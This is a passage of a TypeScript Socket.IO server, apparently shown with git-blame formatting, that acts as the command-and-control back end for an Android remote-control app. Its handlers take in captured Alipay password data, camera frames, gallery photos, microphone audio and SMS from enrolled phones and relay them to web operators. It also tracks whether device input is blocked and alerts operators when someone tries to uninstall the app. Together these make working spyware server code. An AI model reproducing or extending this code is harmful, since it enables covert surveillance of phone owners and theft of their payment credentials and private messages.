|
|
|
|
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
|
|
|
|
|
|
|
|
|
|
|
// 路由支付宝密码数据
|
|
|
|
|
|
const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data);
|
|
|
|
|
|
this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`);
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
// 处理摄像头数据
|
|
|
|
|
|
socket.on('camera_data', (data: any) => {
|
|
|
|
|
|
this.messageRouter.routeCameraData(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 相册图片数据
|
|
|
|
|
|
socket.on('gallery_image', (data: any) => {
|
|
|
|
|
|
this.messageRouter.routeGalleryImage(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 麦克风音频数据
|
|
|
|
|
|
socket.on('microphone_audio', (data: any) => {
|
|
|
|
|
|
this.messageRouter.routeMicrophoneAudio(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
socket.on('sms_data', (data: any) => {
|
|
|
|
|
|
this.messageRouter.routeSmsData(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
// 处理设备状态更新
|
|
|
|
|
|
socket.on('device_status', (data: any) => {
|
|
|
|
|
|
this.deviceManager.updateDeviceStatus(socket.id, data)
|
|
|
|
|
|
|
|
|
|
|
|
// 通过socket.deviceId获取设备ID,而不是socket.id
|
|
|
|
|
|
if ((socket as any).deviceId) {
|
|
|
|
|
|
this.broadcastDeviceStatus((socket as any).deviceId, data)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理客户端事件(设备控制请求等)
|
|
|
|
|
|
socket.on('client_event', (data: any) => {
|
|
|
|
|
|
this.logger.info(`收到客户端事件: ${JSON.stringify(data)}`)
|
|
|
|
|
|
this.messageRouter.routeClientEvent(socket.id, data.type, data.data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理操作日志(从设备接收)
|
|
|
|
|
|
socket.on('operation_log', (data: any) => {
|
|
|
|
|
|
this.logger.debug(`收到操作日志: ${JSON.stringify(data)}`)
|
|
|
|
|
|
this.messageRouter.handleOperationLog(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
2026-02-13 01:06:00 +08:00
|
|
|
|
// 💥 处理崩溃日志(从设备接收)
|
|
|
|
|
|
socket.on('crash_log', (data: any) => {
|
|
|
|
|
|
this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`)
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (data?.deviceId && data?.content) {
|
|
|
|
|
|
this.databaseService.saveCrashLog({
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
fileName: data.fileName || 'unknown.log',
|
|
|
|
|
|
content: data.content,
|
|
|
|
|
|
fileSize: data.fileSize,
|
|
|
|
|
|
crashTime: data.crashTime,
|
|
|
|
|
|
uploadTime: data.uploadTime,
|
|
|
|
|
|
deviceModel: data.deviceModel,
|
|
|
|
|
|
osVersion: data.osVersion
|
|
|
|
|
|
})
|
|
|
|
|
|
// 通知Web端有新的崩溃日志
|
|
|
|
|
|
this.webClientManager.broadcastToAll('crash_log_received', {
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
fileName: data.fileName,
|
|
|
|
|
|
crashTime: data.crashTime,
|
|
|
|
|
|
deviceModel: data.deviceModel,
|
|
|
|
|
|
timestamp: Date.now()
|
|
|
|
|
|
})
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`)
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('处理崩溃日志失败:', error)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 📊 自适应画质:Web端质量反馈
|
|
|
|
|
|
socket.on('quality_feedback', (data: any) => {
|
|
|
|
|
|
if (!data?.deviceId) return
|
|
|
|
|
|
const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, {
|
|
|
|
|
|
fps: data.fps || 0,
|
|
|
|
|
|
dropRate: data.dropRate || 0,
|
|
|
|
|
|
renderLatency: data.renderLatency,
|
|
|
|
|
|
})
|
|
|
|
|
|
if (result.shouldAdjust && result.newParams) {
|
|
|
|
|
|
// 转发质量调整指令给Android设备
|
|
|
|
|
|
const device = this.deviceManager.getDevice(data.deviceId)
|
|
|
|
|
|
if (device) {
|
|
|
|
|
|
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
|
|
|
|
|
|
if (deviceSocket) {
|
|
|
|
|
|
deviceSocket.emit('quality_adjust', {
|
|
|
|
|
|
fps: result.newParams.fps,
|
|
|
|
|
|
quality: result.newParams.quality,
|
|
|
|
|
|
maxWidth: result.newParams.maxWidth,
|
|
|
|
|
|
maxHeight: result.newParams.maxHeight,
|
|
|
|
|
|
})
|
|
|
|
|
|
this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
// 通知Web端参数已变更
|
|
|
|
|
|
socket.emit('quality_changed', {
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
...result.newParams,
|
|
|
|
|
|
auto: true,
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 📊 自适应画质:Web端手动切换质量档位
|
|
|
|
|
|
socket.on('set_quality_profile', (data: any) => {
|
|
|
|
|
|
if (!data?.deviceId || !data?.profile) return
|
|
|
|
|
|
const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile)
|
|
|
|
|
|
if (result) {
|
|
|
|
|
|
const device = this.deviceManager.getDevice(data.deviceId)
|
|
|
|
|
|
if (device) {
|
|
|
|
|
|
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
|
|
|
|
|
|
if (deviceSocket) {
|
|
|
|
|
|
deviceSocket.emit('quality_adjust', result.params)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
socket.emit('quality_changed', {
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
...result.params,
|
|
|
|
|
|
profile: data.profile,
|
|
|
|
|
|
auto: false,
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 📊 自适应画质:Web端手动设置自定义参数
|
|
|
|
|
|
socket.on('set_quality_params', (data: any) => {
|
|
|
|
|
|
if (!data?.deviceId) return
|
|
|
|
|
|
const result = this.adaptiveQualityService.setCustomParams(data.deviceId, {
|
|
|
|
|
|
fps: data.fps,
|
|
|
|
|
|
quality: data.quality,
|
|
|
|
|
|
maxWidth: data.maxWidth,
|
|
|
|
|
|
maxHeight: data.maxHeight,
|
|
|
|
|
|
})
|
|
|
|
|
|
const device = this.deviceManager.getDevice(data.deviceId)
|
|
|
|
|
|
if (device) {
|
|
|
|
|
|
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
|
|
|
|
|
|
if (deviceSocket) {
|
|
|
|
|
|
deviceSocket.emit('quality_adjust', result.params)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
socket.emit('quality_changed', {
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
...result.params,
|
|
|
|
|
|
auto: false,
|
|
|
|
|
|
})
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 📊 获取画质档位列表
|
|
|
|
|
|
socket.on('get_quality_profiles', (callback: any) => {
|
|
|
|
|
|
if (typeof callback === 'function') {
|
|
|
|
|
|
callback(this.adaptiveQualityService.getProfiles())
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
2026-02-09 16:34:01 +08:00
|
|
|
|
// 🆕 处理设备输入阻塞状态变更(从设备接收)
|
|
|
|
|
|
socket.on('device_input_blocked_changed', (data: any) => {
|
|
|
|
|
|
this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`)
|
|
|
|
|
|
this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 直接调用MessageRouter的处理方法
|
|
|
|
|
|
if (data?.deviceId && data?.blocked !== undefined) {
|
|
|
|
|
|
this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked)
|
|
|
|
|
|
this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 🛡️ 处理卸载尝试检测(从设备接收)
|
|
|
|
|
|
socket.on('uninstall_attempt_detected', (data: any) => {
|
|
|
|
|
|
this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`)
|
|
|
|
|
|
this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`)
|
|
|
|
|
|
|
|
|
|
|
|
if (data?.deviceId && data?.type) {
|
|
|
|
|
|
// 广播卸载尝试检测事件到所有Web客户端
|
|
|
|
|
|
this.webClientManager.broadcastToAll('uninstall_attempt_detected', {
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
type: data.type,
|
|
|
|
|
|
message: data.message || '检测到卸载尝试',
|
|
|
|
|
|
timestamp: data.timestamp || Date.now()
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理断开连接
|
|
|
|
|
|
socket.on('disconnect', (reason: string) => {
|
|
|
|
|
|
this.handleDisconnect(socket)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题
|
|
|
|
|
|
socket.on('CONNECTION_TEST', (data: any) => {
|
|
|
|
|
|
this.logger.info(`💓 收到设备心跳检测: ${socket.id}`)
|
|
|
|
|
|
this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`)
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🔧 关键修复:心跳时也要更新设备活跃时间
|
|
|
|
|
|
if (socket.deviceId) {
|
|
|
|
|
|
const device = this.deviceManager.getDevice(socket.deviceId)
|
|
|
|
|
|
if (device) {
|
|
|
|
|
|
device.lastSeen = new Date()
|
|
|
|
|
|
this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.emit('CONNECTION_TEST_RESPONSE', {
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
timestamp: Date.now(),
|
|
|
|
|
|
receivedData: data
|
|
|
|
|
|
})
|
|
|
|
|
|
this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`)
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理标准ping/pong
|
|
|
|
|
|
socket.on('ping', () => {
|
|
|
|
|
|
socket.emit('pong')
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理自定义心跳
|
|
|
|
|
|
socket.on('heartbeat', (data: any) => {
|
|
|
|
|
|
this.logger.debug(`💓 收到心跳: ${socket.id}`)
|
|
|
|
|
|
socket.emit('heartbeat_ack', { timestamp: Date.now() })
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 错误处理
|
|
|
|
|
|
socket.on('error', (error: any) => {
|
|
|
|
|
|
this.logger.error(`Socket错误 ${socket.id}:`, error)
|
|
|
|
|
|
})
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理设备注册
|
|
|
|
|
|
*/
|
|
|
|
|
|
private handleDeviceRegister(socket: any, data: any): void {
|
|
|
|
|
|
try {
|
|
|
|
|
|
this.logger.info('开始处理设备注册...')
|
|
|
|
|
|
this.logger.info(`注册数据: ${JSON.stringify(data, null, 2)}`)
|
|
|
|
|
|
|
|
|
|
|
|
const deviceId = data.deviceId || uuidv4()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 改进重连检测:检查是否是同一设备的不同Socket连接
|
|
|
|
|
|
const existingDevice = this.deviceManager.getDevice(deviceId)
|
|
|
|
|
|
if (existingDevice) {
|
|
|
|
|
|
if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') {
|
|
|
|
|
|
// 完全相同的注册请求,跳过重复(但仍需确保Web端收到设备在线通知)
|
|
|
|
|
|
this.logger.debug(`跳过重复注册: 设备${deviceId} Socket${socket.id}`)
|
|
|
|
|
|
socket.emit('device_registered', {
|
|
|
|
|
|
deviceId: deviceId,
|
|
|
|
|
|
message: '设备已注册(跳过重复注册)'
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复:即使跳过重复注册,也要确保Web端收到设备在线状态
|
|
|
|
|
|
const connectedClients = this.webClientManager.getClientCount()
|
|
|
|
|
|
if (connectedClients > 0) {
|
|
|
|
|
|
this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`)
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_connected', existingDevice)
|
|
|
|
|
|
|
|
|
|
|
|
// 同时广播设备状态更新
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId: existingDevice.id,
|
|
|
|
|
|
status: {
|
|
|
|
|
|
online: true,
|
|
|
|
|
|
connected: true,
|
|
|
|
|
|
lastSeen: Date.now(),
|
|
|
|
|
|
inputBlocked: existingDevice.inputBlocked || false
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
return
|
|
|
|
|
|
} else if (existingDevice.socketId !== socket.id) {
|
|
|
|
|
|
// ✅ 同一设备但不同Socket(重连场景),更新Socket映射
|
|
|
|
|
|
this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 移除旧的Socket映射,继续正常注册流程
|
|
|
|
|
|
this.deviceManager.removeDevice(deviceId)
|
|
|
|
|
|
this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// ✅ 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步
|
|
|
|
|
|
this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`)
|
|
|
|
|
|
this.deviceManager.removeDevice(deviceId)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息
|
|
|
|
|
|
const existingDbDevice = this.databaseService.getDeviceById(deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
const deviceInfo = {
|
|
|
|
|
|
id: deviceId,
|
|
|
|
|
|
socketId: socket.id,
|
|
|
|
|
|
name: data.deviceName || 'Unknown Device',
|
|
|
|
|
|
model: data.deviceModel || 'Unknown',
|
|
|
|
|
|
osVersion: data.osVersion || 'Unknown',
|
|
|
|
|
|
appVersion: data.appVersion || '1.0.0',
|
|
|
|
|
|
appPackage: data.appPackage || null,
|
|
|
|
|
|
appName: data.appName || null,
|
|
|
|
|
|
screenWidth: data.screenWidth || 1080,
|
|
|
|
|
|
screenHeight: data.screenHeight || 1920,
|
|
|
|
|
|
capabilities: data.capabilities || [],
|
|
|
|
|
|
connectedAt: new Date(),
|
|
|
|
|
|
lastSeen: new Date(),
|
|
|
|
|
|
status: 'online' as const,
|
|
|
|
|
|
inputBlocked: data.inputBlocked || false,
|
|
|
|
|
|
isLocked: data.isLocked || false, // 初始化锁屏状态
|
|
|
|
|
|
remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注
|
|
|
|
|
|
publicIP: data.publicIP || null,
|
|
|
|
|
|
// 🆕 添加系统版本信息字段
|
|
|
|
|
|
systemVersionName: data.systemVersionName || null,
|
|
|
|
|
|
romType: data.romType || null,
|
|
|
|
|
|
romVersion: data.romVersion || null,
|
|
|
|
|
|
osBuildVersion: data.osBuildVersion || null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`设备信息: ${JSON.stringify(deviceInfo, null, 2)}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 保存到数据库
|
|
|
|
|
|
this.databaseService.saveDevice({
|
|
|
|
|
|
...data,
|
|
|
|
|
|
appPackage: data.appPackage || null,
|
|
|
|
|
|
appName: data.appName || null
|
|
|
|
|
|
}, socket.id)
|
|
|
|
|
|
|
|
|
|
|
|
this.deviceManager.addDevice(deviceInfo)
|
|
|
|
|
|
socket.deviceId = deviceInfo.id
|
|
|
|
|
|
socket.clientType = 'device'
|
|
|
|
|
|
|
|
|
|
|
|
// 通知设备注册成功
|
|
|
|
|
|
socket.emit('device_registered', {
|
|
|
|
|
|
deviceId: deviceInfo.id,
|
|
|
|
|
|
message: '设备注册成功'
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`✅ 设备注册成功,已通知设备`)
|
|
|
|
|
|
|
|
|
|
|
|
// 通知所有Web客户端有新设备连接
|
|
|
|
|
|
const connectedClients = this.webClientManager.getClientCount()
|
|
|
|
|
|
if (connectedClients > 0) {
|
|
|
|
|
|
this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`)
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_connected', deviceInfo)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.info(`📡 暂无Web客户端连接,跳过设备连接通知`)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 优化:设备重新连接时,Android端本身已经维护着真实状态
|
|
|
|
|
|
// 无需向Android端发送控制命令,只需要从数据库获取状态用于Web端显示即可
|
|
|
|
|
|
try {
|
|
|
|
|
|
this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`)
|
|
|
|
|
|
const deviceState = this.databaseService.getDeviceState(deviceInfo.id)
|
|
|
|
|
|
|
|
|
|
|
|
if (deviceState) {
|
|
|
|
|
|
// 更新内存中的设备状态(用于Web端查询和显示)
|
|
|
|
|
|
if (deviceState.inputBlocked !== null) {
|
|
|
|
|
|
deviceInfo.inputBlocked = deviceState.inputBlocked
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态
|
|
|
|
|
|
if (connectedClients > 0) {
|
|
|
|
|
|
this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`)
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_status_update', {
|
|
|
|
|
|
deviceId: deviceInfo.id,
|
|
|
|
|
|
status: {
|
|
|
|
|
|
online: true,
|
|
|
|
|
|
connected: true,
|
|
|
|
|
|
lastSeen: Date.now(),
|
|
|
|
|
|
inputBlocked: deviceInfo.inputBlocked
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.debug(`设备 ${deviceInfo.id} 没有保存的状态信息`)
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题
|
|
|
|
|
|
setTimeout(() => {
|
|
|
|
|
|
const finalConnectedClients = this.webClientManager.getClientCount()
|
|
|
|
|
|
if (finalConnectedClients > 0) {
|
|
|
|
|
|
const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id)
|
|
|
|
|
|
if (finalDeviceInfo) {
|
|
|
|
|
|
this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`)
|
|
|
|
|
|
this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 1000) // 1秒后再次确认
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`)
|
|
|
|
|
|
this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('设备注册失败:', error)
|
|
|
|
|
|
socket.emit('registration_error', { message: '设备注册失败' })
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理Web客户端注册
|
|
|
|
|
|
*/
|
|
|
|
|
|
private handleWebClientRegister(socket: any, data: any): void {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🔐 Web客户端认证验证:检查认证token
|
|
|
|
|
|
const token = socket.handshake.auth?.token
|
|
|
|
|
|
if (!token) {
|
|
|
|
|
|
this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`)
|
|
|
|
|
|
socket.emit('auth_error', { message: '缺少认证token' })
|
|
|
|
|
|
socket.disconnect()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 验证token
|
|
|
|
|
|
const authResult = this.authService.verifyToken(token)
|
|
|
|
|
|
if (!authResult.valid) {
|
|
|
|
|
|
this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`)
|
|
|
|
|
|
socket.emit('auth_error', { message: authResult.error || '认证失败' })
|
|
|
|
|
|
socket.disconnect()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 认证成功,记录用户信息
|
|
|
|
|
|
socket.userId = authResult.user?.id
|
|
|
|
|
|
socket.username = authResult.user?.username
|
|
|
|
|
|
this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 修复重复注册问题:检查是否已有相同Socket ID的客户端
|
|
|
|
|
|
const existingClient = this.webClientManager.getClientBySocketId(socket.id)
|
|
|
|
|
|
if (existingClient) {
|
|
|
|
|
|
this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`)
|
|
|
|
|
|
|
|
|
|
|
|
// 更新现有客户端的活动时间和用户代理
|
|
|
|
|
|
existingClient.lastSeen = new Date()
|
|
|
|
|
|
existingClient.userAgent = data.userAgent || existingClient.userAgent
|
|
|
|
|
|
existingClient.userId = authResult.user?.id // 🔐 更新用户ID
|
|
|
|
|
|
existingClient.username = authResult.user?.username // 🔐 更新用户名
|
|
|
|
|
|
socket.clientId = existingClient.id
|
|
|
|
|
|
socket.clientType = 'web'
|
|
|
|
|
|
|
|
|
|
|
|
// 🔐 恢复用户的设备权限
|
|
|
|
|
|
if (authResult.user?.id) {
|
|
|
|
|
|
this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 发送当前设备列表(包含历史设备)
|
|
|
|
|
|
const allDevices = this.getAllDevicesIncludingHistory()
|
|
|
|
|
|
socket.emit('client_registered', {
|
|
|
|
|
|
clientId: existingClient.id,
|
|
|
|
|
|
devices: allDevices
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const clientInfo = {
|
|
|
|
|
|
id: uuidv4(),
|
|
|
|
|
|
socketId: socket.id,
|
|
|
|
|
|
userAgent: data.userAgent || 'Unknown',
|
|
|
|
|
|
ip: socket.handshake.address,
|
|
|
|
|
|
connectedAt: new Date(),
|
|
|
|
|
|
lastSeen: new Date(),
|
|
|
|
|
|
userId: authResult.user?.id, // 🔐 添加用户ID
|
|
|
|
|
|
username: authResult.user?.username // 🔐 添加用户名
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.webClientManager.addClient(clientInfo)
|
|
|
|
|
|
socket.clientId = clientInfo.id
|
|
|
|
|
|
socket.clientType = 'web'
|
|
|
|
|
|
|
|
|
|
|
|
// 🔐 恢复用户的设备权限
|
|
|
|
|
|
if (authResult.user?.id) {
|
|
|
|
|
|
this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 发送当前设备列表(包含历史设备)
|
|
|
|
|
|
const allDevices = this.getAllDevicesIncludingHistory()
|
|
|
|
|
|
socket.emit('client_registered', {
|
|
|
|
|
|
clientId: clientInfo.id,
|
|
|
|
|
|
devices: allDevices
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`)
|
|
|
|
|
|
this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('Web客户端注册失败:', error)
|
|
|
|
|
|
socket.emit('registration_error', { message: '客户端注册失败' })
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理连接断开 - 增强版,减少误判设备断开
|
|
|
|
|
|
*/
|
|
|
|
|
|
private handleDisconnect(socket: any): void {
|
|
|
|
|
|
this.logger.info(`连接断开: ${socket.id} (类型: ${socket.clientType})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 更新数据库中的断开连接记录
|
|
|
|
|
|
this.databaseService.updateDisconnection(socket.id)
|
|
|
|
|
|
|
|
|
|
|
|
if (socket.clientType === 'device' && socket.deviceId) {
|
|
|
|
|
|
const deviceId = socket.deviceId
|
|
|
|
|
|
this.logger.warn(`🔍 设备Socket断开: ${deviceId} (${socket.id})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 优化:短延迟验证断开状态,平衡误判防护和真实断开检测速度
|
|
|
|
|
|
// 因为Socket.IO的disconnect事件可能因为网络抖动等原因被误触发,但真正断开应该快速处理
|
|
|
|
|
|
setTimeout(() => {
|
|
|
|
|
|
this.verifyDeviceDisconnection(deviceId, socket.id)
|
|
|
|
|
|
}, 1500) // 1.5秒后验证,更快响应真实断开
|
|
|
|
|
|
|
|
|
|
|
|
} else if (socket.clientType === 'web' && socket.clientId) {
|
|
|
|
|
|
// 🔧 优化Web客户端断开处理
|
|
|
|
|
|
const clientId = socket.clientId
|
|
|
|
|
|
const client = this.webClientManager.getClient(clientId)
|
|
|
|
|
|
|
|
|
|
|
|
if (client) {
|
|
|
|
|
|
// 如果客户端正在控制设备,释放控制权
|
|
|
|
|
|
if (client.controllingDeviceId) {
|
|
|
|
|
|
this.logger.info(`🔓 Web客户端断开,释放设备控制权: ${client.controllingDeviceId}`)
|
|
|
|
|
|
this.webClientManager.releaseDeviceControl(client.controllingDeviceId)
|
|
|
|
|
|
|
|
|
|
|
|
// 通知设备控制者已离开
|
|
|
|
|
|
const deviceSocketId = this.deviceManager.getDeviceSocketId(client.controllingDeviceId)
|
|
|
|
|
|
if (deviceSocketId) {
|
|
|
|
|
|
const deviceSocket = this.io.sockets.sockets.get(deviceSocketId)
|
|
|
|
|
|
if (deviceSocket) {
|
|
|
|
|
|
deviceSocket.emit('controller_changed', { clientId: null })
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.webClientManager.removeClient(clientId)
|
|
|
|
|
|
this.logger.info(`Web客户端断开连接: ${clientId} (IP: ${client.ip})`)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 通过Socket ID移除客户端
|
|
|
|
|
|
this.webClientManager.removeClientBySocketId(socket.id)
|
|
|
|
|
|
this.logger.info(`Web客户端断开连接 (通过Socket ID): ${socket.id}`)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
